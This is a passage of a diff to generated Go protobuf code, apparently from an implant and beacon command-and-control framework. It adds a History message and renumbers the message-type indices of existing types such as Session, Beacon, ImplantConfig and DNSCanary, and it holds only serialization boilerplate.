} + return mi.MessageOf(x) +} + +// Deprecated: Use History.ProtoReflect.Descriptor instead. +func (*History) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{4} +} + +func (x *History) GetHistoryLen() int32 { + if x != nil { + return x.HistoryLen + } + return 0 +} + +func (x *History) GetUserOnly() bool { + if x != nil { + return x.UserOnly + } + return false +} + +func (x *History) GetCommands() []*ImplantCommand { + if x != nil { + return x.Commands + } + return nil +} + +func (x *History) GetResponse() *commonpb.Response { + if x != nil { + return x.Response + } + return nil +} + type Session struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1207,7 +1453,7 @@ type Session struct { func (x *Session) Reset() { *x = Session{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1220,7 +1466,7 @@ func (x *Session) String() string { func (*Session) ProtoMessage() {} func (x *Session) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1233,7 +1479,7 @@ func (x *Session) ProtoReflect() protoreflect.Message { // Deprecated: Use Session.ProtoReflect.Descriptor instead. func (*Session) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{2} + return file_clientpb_client_proto_rawDescGZIP(), []int{5} } func (x *Session) GetID() string { @@ -1449,7 +1695,7 @@ type Beacon struct { func (x *Beacon) Reset() { *x = Beacon{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[6] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1462,7 +1708,7 @@ func (x *Beacon) String() string { func (*Beacon) ProtoMessage() {} func (x *Beacon) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[6] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1475,7 +1721,7 @@ func (x *Beacon) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacon.ProtoReflect.Descriptor instead. func (*Beacon) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{3} + return file_clientpb_client_proto_rawDescGZIP(), []int{6} } func (x *Beacon) GetID() string { @@ -1685,7 +1931,7 @@ type Beacons struct { func (x *Beacons) Reset() { *x = Beacons{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1698,7 +1944,7 @@ func (x *Beacons) String() string { func (*Beacons) ProtoMessage() {} func (x *Beacons) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1711,7 +1957,7 @@ func (x *Beacons) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacons.ProtoReflect.Descriptor instead. func (*Beacons) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{4} + return file_clientpb_client_proto_rawDescGZIP(), []int{7} } func (x *Beacons) GetBeacons() []*Beacon { @@ -1740,7 +1986,7 @@ type BeaconTask struct { func (x *BeaconTask) Reset() { *x = BeaconTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1753,7 +1999,7 @@ func (x *BeaconTask) String() string { func (*BeaconTask) ProtoMessage() {} func (x *BeaconTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1766,7 +2012,7 @@ func (x *BeaconTask) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTask.ProtoReflect.Descriptor instead. func (*BeaconTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{5} + return file_clientpb_client_proto_rawDescGZIP(), []int{8} } func (x *BeaconTask) GetID() string { @@ -1844,7 +2090,7 @@ type BeaconTasks struct { func (x *BeaconTasks) Reset() { *x = BeaconTasks{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1857,7 +2103,7 @@ func (x *BeaconTasks) String() string { func (*BeaconTasks) ProtoMessage() {} func (x *BeaconTasks) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1870,7 +2116,7 @@ func (x *BeaconTasks) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTasks.ProtoReflect.Descriptor instead. func (*BeaconTasks) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{6} + return file_clientpb_client_proto_rawDescGZIP(), []int{9} } func (x *BeaconTasks) GetBeaconID() string { @@ -1900,7 +2146,7 @@ type ImplantC2 struct { func (x *ImplantC2) Reset() { *x = ImplantC2{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1913,7 +2159,7 @@ func (x *ImplantC2) String() string { func (*ImplantC2) ProtoMessage() {} func (x *ImplantC2) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1926,7 +2172,7 @@ func (x *ImplantC2) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantC2.ProtoReflect.Descriptor instead. func (*ImplantC2) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{7} + return file_clientpb_client_proto_rawDescGZIP(), []int{10} } func (x *ImplantC2) GetPriority() uint32 { @@ -2009,7 +2255,7 @@ type ImplantConfig struct { func (x *ImplantConfig) Reset() { *x = ImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2022,7 +2268,7 @@ func (x *ImplantConfig) String() string { func (*ImplantConfig) ProtoMessage() {} func (x *ImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2035,7 +2281,7 @@ func (x *ImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantConfig.ProtoReflect.Descriptor instead. func (*ImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{8} + return file_clientpb_client_proto_rawDescGZIP(), []int{11} } func (x *ImplantConfig) GetID() string { @@ -2388,7 +2634,7 @@ type TrafficEncoder struct { func (x *TrafficEncoder) Reset() { *x = TrafficEncoder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2401,7 +2647,7 @@ func (x *TrafficEncoder) String() string { func (*TrafficEncoder) ProtoMessage() {} func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2414,7 +2660,7 @@ func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoder.ProtoReflect.Descriptor instead. func (*TrafficEncoder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{9} + return file_clientpb_client_proto_rawDescGZIP(), []int{12} } func (x *TrafficEncoder) GetID() uint64 { @@ -2457,7 +2703,7 @@ type TrafficEncoderMap struct { func (x *TrafficEncoderMap) Reset() { *x = TrafficEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2470,7 +2716,7 @@ func (x *TrafficEncoderMap) String() string { func (*TrafficEncoderMap) ProtoMessage() {} func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2483,7 +2729,7 @@ func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderMap.ProtoReflect.Descriptor instead. func (*TrafficEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{10} + return file_clientpb_client_proto_rawDescGZIP(), []int{13} } func (x *TrafficEncoderMap) GetEncoders() map[string]*TrafficEncoder { @@ -2509,7 +2755,7 @@ type TrafficEncoderTest struct { func (x *TrafficEncoderTest) Reset() { *x = TrafficEncoderTest{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2522,7 +2768,7 @@ func (x *TrafficEncoderTest) String() string { func (*TrafficEncoderTest) ProtoMessage() {} func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2535,7 +2781,7 @@ func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTest.ProtoReflect.Descriptor instead. func (*TrafficEncoderTest) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{11} + return file_clientpb_client_proto_rawDescGZIP(), []int{14} } func (x *TrafficEncoderTest) GetName() string { @@ -2594,7 +2840,7 @@ type TrafficEncoderTests struct { func (x *TrafficEncoderTests) Reset() { *x = TrafficEncoderTests{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2607,7 +2853,7 @@ func (x *TrafficEncoderTests) String() string { func (*TrafficEncoderTests) ProtoMessage() {} func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2620,7 +2866,7 @@ func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTests.ProtoReflect.Descriptor instead. func (*TrafficEncoderTests) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{12} + return file_clientpb_client_proto_rawDescGZIP(), []int{15} } func (x *TrafficEncoderTests) GetEncoder() *TrafficEncoder { @@ -2663,7 +2909,7 @@ type ExternalImplantConfig struct { func (x *ExternalImplantConfig) Reset() { *x = ExternalImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2676,7 +2922,7 @@ func (x *ExternalImplantConfig) String() string { func (*ExternalImplantConfig) ProtoMessage() {} func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2689,7 +2935,7 @@ func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantConfig.ProtoReflect.Descriptor instead. func (*ExternalImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{13} + return file_clientpb_client_proto_rawDescGZIP(), []int{16} } func (x *ExternalImplantConfig) GetConfig() *ImplantConfig { @@ -2719,7 +2965,7 @@ type ExternalImplantBinary struct { func (x *ExternalImplantBinary) Reset() { *x = ExternalImplantBinary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2732,7 +2978,7 @@ func (x *ExternalImplantBinary) String() string { func (*ExternalImplantBinary) ProtoMessage() {} func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2745,7 +2991,7 @@ func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantBinary.ProtoReflect.Descriptor instead. func (*ExternalImplantBinary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{14} + return file_clientpb_client_proto_rawDescGZIP(), []int{17} } func (x *ExternalImplantBinary) GetName() string { @@ -2781,7 +3027,7 @@ type ImplantBuilds struct { func (x *ImplantBuilds) Reset() { *x = ImplantBuilds{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2794,7 +3040,7 @@ func (x *ImplantBuilds) String() string { func (*ImplantBuilds) ProtoMessage() {} func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2807,7 +3053,7 @@ func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantBuilds.ProtoReflect.Descriptor instead. func (*ImplantBuilds) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{15} + return file_clientpb_client_proto_rawDescGZIP(), []int{18} } func (x *ImplantBuilds) GetConfigs() map[string]*ImplantConfig { @@ -2830,7 +3076,7 @@ type CompilerTarget struct { func (x *CompilerTarget) Reset() { *x = CompilerTarget{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2843,7 +3089,7 @@ func (x *CompilerTarget) String() string { func (*CompilerTarget) ProtoMessage() {} func (x *CompilerTarget) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2856,7 +3102,7 @@ func (x *CompilerTarget) ProtoReflect() protoreflect.Message { // Deprecated: Use CompilerTarget.ProtoReflect.Descriptor instead. func (*CompilerTarget) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{16} + return file_clientpb_client_proto_rawDescGZIP(), []int{19} } func (x *CompilerTarget) GetGOOS() string { @@ -2894,7 +3140,7 @@ type CrossCompiler struct { func (x *CrossCompiler) Reset() { *x = CrossCompiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2907,7 +3153,7 @@ func (x *CrossCompiler) String() string { func (*CrossCompiler) ProtoMessage() {} func (x *CrossCompiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2920,7 +3166,7 @@ func (x *CrossCompiler) ProtoReflect() protoreflect.Message { // Deprecated: Use CrossCompiler.ProtoReflect.Descriptor instead. func (*CrossCompiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{17} + return file_clientpb_client_proto_rawDescGZIP(), []int{20} } func (x *CrossCompiler) GetTargetGOOS() string { @@ -2966,7 +3212,7 @@ type Compiler struct { func (x *Compiler) Reset() { *x = Compiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2979,7 +3225,7 @@ func (x *Compiler) String() string { func (*Compiler) ProtoMessage() {} func (x *Compiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2992,7 +3238,7 @@ func (x *Compiler) ProtoReflect() protoreflect.Message { // Deprecated: Use Compiler.ProtoReflect.Descriptor instead. func (*Compiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{18} + return file_clientpb_client_proto_rawDescGZIP(), []int{21} } func (x *Compiler) GetGOOS() string { @@ -3041,7 +3287,7 @@ type DeleteReq struct { func (x *DeleteReq) Reset() { *x = DeleteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3054,7 +3300,7 @@ func (x *DeleteReq) String() string { func (*DeleteReq) ProtoMessage() {} func (x *DeleteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3067,7 +3313,7 @@ func (x *DeleteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteReq.ProtoReflect.Descriptor instead. func (*DeleteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{19} + return file_clientpb_client_proto_rawDescGZIP(), []int{22} } func (x *DeleteReq) GetName() string { @@ -3094,7 +3340,7 @@ type DNSCanary struct { func (x *DNSCanary) Reset() { *x = DNSCanary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[20] + mi := &file_clientpb_client_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3107,7 +3353,7 @@ func (x *DNSCanary) String() string { func (*DNSCanary) ProtoMessage() {} func (x *DNSCanary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[20] + mi := &file_clientpb_client_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3120,7 +3366,7 @@ func (x *DNSCanary) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSCanary.ProtoReflect.Descriptor instead. func (*DNSCanary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{20} + return file_clientpb_client_proto_rawDescGZIP(), []int{23} } func (x *DNSCanary) GetImplantName() string { @@ -3176,7 +3422,7 @@ type Canaries struct { func (x *Canaries) Reset() { *x = Canaries{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3189,7 +3435,7 @@ func (x *Canaries) String() string { func (*Canaries) ProtoMessage() {} func (x *Canaries) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3202,7 +3448,7 @@ func (x *Canaries) ProtoReflect() protoreflect.Message { // Deprecated: Use Canaries.ProtoReflect.Descriptor instead. func (*Canaries) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{21} + return file_clientpb_client_proto_rawDescGZIP(), []int{24} } func (x *Canaries) GetCanaries() []*DNSCanary { @@ -3224,7 +3470,7 @@ type UniqueWGIP struct { func (x *UniqueWGIP) Reset() { *x = UniqueWGIP{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3237,7 +3483,7 @@ func (x *UniqueWGIP) String() string { func (*UniqueWGIP) ProtoMessage() {} func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3250,7 +3496,7 @@ func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { // Deprecated: Use UniqueWGIP.ProtoReflect.Descriptor instead. func (*UniqueWGIP) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{22} + return file_clientpb_client_proto_rawDescGZIP(), []int{25} } func (x *UniqueWGIP) GetIP() string { @@ -3272,7 +3518,7 @@ type ImplantProfile struct { func (x *ImplantProfile) Reset() { *x = ImplantProfile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3285,7 +3531,7 @@ func (x *ImplantProfile) String() string { func (*ImplantProfile) ProtoMessage() {} func (x *ImplantProfile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3298,7 +3544,7 @@ func (x *ImplantProfile) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfile.ProtoReflect.Descriptor instead. func (*ImplantProfile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{23} + return file_clientpb_client_proto_rawDescGZIP(), []int{26} } func (x *ImplantProfile) GetName() string { @@ -3326,7 +3572,7 @@ type ImplantProfiles struct { func (x *ImplantProfiles) Reset() { *x = ImplantProfiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3339,7 +3585,7 @@ func (x *ImplantProfiles) String() string { func (*ImplantProfiles) ProtoMessage() {} func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3352,7 +3598,7 @@ func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfiles.ProtoReflect.Descriptor instead. func (*ImplantProfiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{24} + return file_clientpb_client_proto_rawDescGZIP(), []int{27} } func (x *ImplantProfiles) GetProfiles() []*ImplantProfile { @@ -3373,7 +3619,7 @@ type RegenerateReq struct { func (x *RegenerateReq) Reset() { *x = RegenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3386,7 +3632,7 @@ func (x *RegenerateReq) String() string { func (*RegenerateReq) ProtoMessage() {} func (x *RegenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3399,7 +3645,7 @@ func (x *RegenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RegenerateReq.ProtoReflect.Descriptor instead. func (*RegenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{25} + return file_clientpb_client_proto_rawDescGZIP(), []int{28} } func (x *RegenerateReq) GetImplantName() string { @@ -3426,7 +3672,7 @@ type Job struct { func (x *Job) Reset() { *x = Job{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3439,7 +3685,7 @@ func (x *Job) String() string { func (*Job) ProtoMessage() {} func (x *Job) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3452,7 +3698,7 @@ func (x *Job) ProtoReflect() protoreflect.Message { // Deprecated: Use Job.ProtoReflect.Descriptor instead. func (*Job) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{26} + return file_clientpb_client_proto_rawDescGZIP(), []int{29} } func (x *Job) GetID() uint32 { @@ -3515,7 +3761,7 @@ type Jobs struct { func (x *Jobs) Reset() { *x = Jobs{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3528,7 +3774,7 @@ func (x *Jobs) String() string { func (*Jobs) ProtoMessage() {} func (x *Jobs) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3541,7 +3787,7 @@ func (x *Jobs) ProtoReflect() protoreflect.Message { // Deprecated: Use Jobs.ProtoReflect.Descriptor instead. func (*Jobs) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{27} + return 